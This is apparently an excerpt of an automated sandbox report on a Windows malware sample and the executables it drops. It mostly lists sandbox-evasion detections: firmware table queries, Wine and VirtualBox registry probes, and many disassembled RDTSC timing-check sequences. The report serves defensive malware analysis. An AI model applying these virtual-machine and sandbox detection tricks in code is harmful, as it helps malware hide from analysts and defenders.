Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe

System information queried: FirmwareTableInformation

Jump to behavior

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DZKPIL2C5DR0YB6M.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DZKPIL2C5DR0YB6M.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NTJ5FCNZGEJS945U0MUPLHRT.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NTJ5FCNZGEJS945U0MUPLHRT.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\Documents\CGIJECFIEC.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\Documents\CGIJECFIEC.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 6E7B71 second address: 6E7B75 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 87636A second address: 876370 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 875240 second address: 875273 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB99871C5CDh 0x00000009 jnl 00007FB99871C5C6h 0x0000000f popad 0x00000010 jmp 00007FB99871C5D2h 0x00000015 push edi 0x00000016 jc 00007FB99871C5C6h 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 875273 second address: 87527B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 8753C8 second address: 875406 instructions: 0x00000000 rdtsc 0x00000002 js 00007FB99871C5C6h 0x00000008 jmp 00007FB99871C5D7h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f jmp 00007FB99871C5CAh 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007FB99871C5D1h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 875406 second address: 875446 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 pushad 0x00000008 jnc 00007FB998C5DACEh 0x0000000e je 00007FB998C5DAD4h 0x00000014 push ebx 0x00000015 jmp 00007FB998C5DAD3h 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 875598 second address: 8755B4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007FB99871C5D1h 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 8755B4 second address: 8755CA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB998C5DAD2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 875822 second address: 87583B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB99871C5D4h 0x00000009 pop ecx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 87583B second address: 875848 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jp 00007FB998C5DAC6h 0x00000009 pop edx 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 875848 second address: 875850 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 875850 second address: 875863 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b jng 00007FB998C5DAC6h 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 875863 second address: 875881 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 jmp 00007FB99871C5D8h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 875A19 second address: 875A38 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jnp 00007FB998C5DADEh 0x0000000b jmp 00007FB998C5DAD2h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 875A38 second address: 875A3C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 875A3C second address: 875A41 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 875A41 second address: 875A59 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FB99871C5CAh 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 875A59 second address: 875A5D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 875A5D second address: 875A74 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007FB99871C5CDh 0x0000000f rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 875A74 second address: 875A81 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 875A81 second address: 875A91 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007FB99871C5C6h 0x0000000a popad 0x0000000b pushad 0x0000000c push ecx 0x0000000d pop ecx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 875BE2 second address: 875C16 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jnc 00007FB998C5DAC6h 0x00000009 jmp 00007FB998C5DAD6h 0x0000000e pop ebx 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007FB998C5DAD2h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 87842C second address: 878456 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pushad 0x00000004 popad 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b movsx edi, dx 0x0000000e push 00000000h 0x00000010 jmp 00007FB99871C5CBh 0x00000015 push 61C7389Bh 0x0000001a push eax 0x0000001b push edx 0x0000001c jng 00007FB99871C5CCh 0x00000022 push eax 0x00000023 push edx 0x00000024 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 878456 second address: 87845A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 899146 second address: 899158 instructions: 0x00000000 rdtsc 0x00000002 je 00007FB99871C5CAh 0x00000008 push esi 0x00000009 pop esi 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pushad 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 899158 second address: 899184 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB998C5DAD7h 0x00000009 pushad 0x0000000a popad 0x0000000b jc 00007FB998C5DAC6h 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 jp 00007FB998C5DAC6h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 899184 second address: 89918E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push esi 0x00000009 pop esi 0x0000000a rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 89918E second address: 899192 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 8970A2 second address: 8970AE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jp 00007FB99871C5C6h 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 8970AE second address: 8970B2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 8970B2 second address: 8970BE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 8970BE second address: 8970C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 8970C4 second address: 8970CE instructions: 0x00000000 rdtsc 0x00000002 jne 00007FB99871C5C6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 89736E second address: 897372 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 8974F0 second address: 89750A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007FB99871C5D1h 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 89750A second address: 89752A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB998C5DAD3h 0x00000007 jns 00007FB998C5DAC6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push ebx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 89752A second address: 897536 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 897536 second address: 897552 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB998C5DAD8h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 897552 second address: 897556 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 897556 second address: 89755C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 89755C second address: 897567 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jp 00007FB99871C5C6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 8976B5 second address: 8976C0 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jne 00007FB998C5DAC6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 89781C second address: 897839 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FB99871C5D7h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 897B29 second address: 897B35 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 je 00007FB998C5DAC6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 897B35 second address: 897B3B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 897B3B second address: 897B3F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 897E41 second address: 897E63 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FB99871C5D4h 0x0000000b push eax 0x0000000c push edx 0x0000000d jg 00007FB99871C5C6h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 897E63 second address: 897E67 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 897E67 second address: 897E87 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FB99871C5D3h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 897E87 second address: 897E8B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 897E8B second address: 897EA9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB99871C5D7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 897EA9 second address: 897EAE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 898992 second address: 89899C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop ecx 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 89899C second address: 8989A4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 8989A4 second address: 8989F2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop ebx 0x00000008 pushad 0x00000009 push ebx 0x0000000a pushad 0x0000000b popad 0x0000000c pop ebx 0x0000000d jne 00007FB99871C5D3h 0x00000013 jmp 00007FB99871C5CBh 0x00000018 push edi 0x00000019 pop edi 0x0000001a push edx 0x0000001b jmp 00007FB99871C5D9h 0x00000020 jmp 00007FB99871C5D0h 0x00000025 pop edx 0x00000026 pushad 0x00000027 push eax 0x00000028 push edx 0x00000029 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 898B44 second address: 898B4C instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 898B4C second address: 898B51 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 898C93 second address: 898C97 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 898C97 second address: 898C9D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 898C9D second address: 898CAB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jg 00007FB998C5DAC6h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 898FBF second address: 898FDF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 push eax 0x00000008 pop eax 0x00000009 pop ecx 0x0000000a popad 0x0000000b jg 00007FB99871C5DCh 0x00000011 jp 00007FB99871C5CCh 0x00000017 push edi 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 862710 second address: 862718 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 89F87E second address: 89F886 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 8A40CC second address: 8A40D4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 8A40D4 second address: 8A40D8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 8A40D8 second address: 8A40DC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 8A40DC second address: 8A40E2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 860A4F second address: 860A53 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 8A889A second address: 8A88CE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB99871C5CBh 0x00000007 jmp 00007FB99871C5D1h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pop ebx 0x0000000f pushad 0x00000010 jmp 00007FB99871C5CEh 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 8A88CE second address: 8A88D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 8A8BC4 second address: 8A8BC8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 8A8BC8 second address: 8A8BCC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 8A8BCC second address: 8A8BD4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
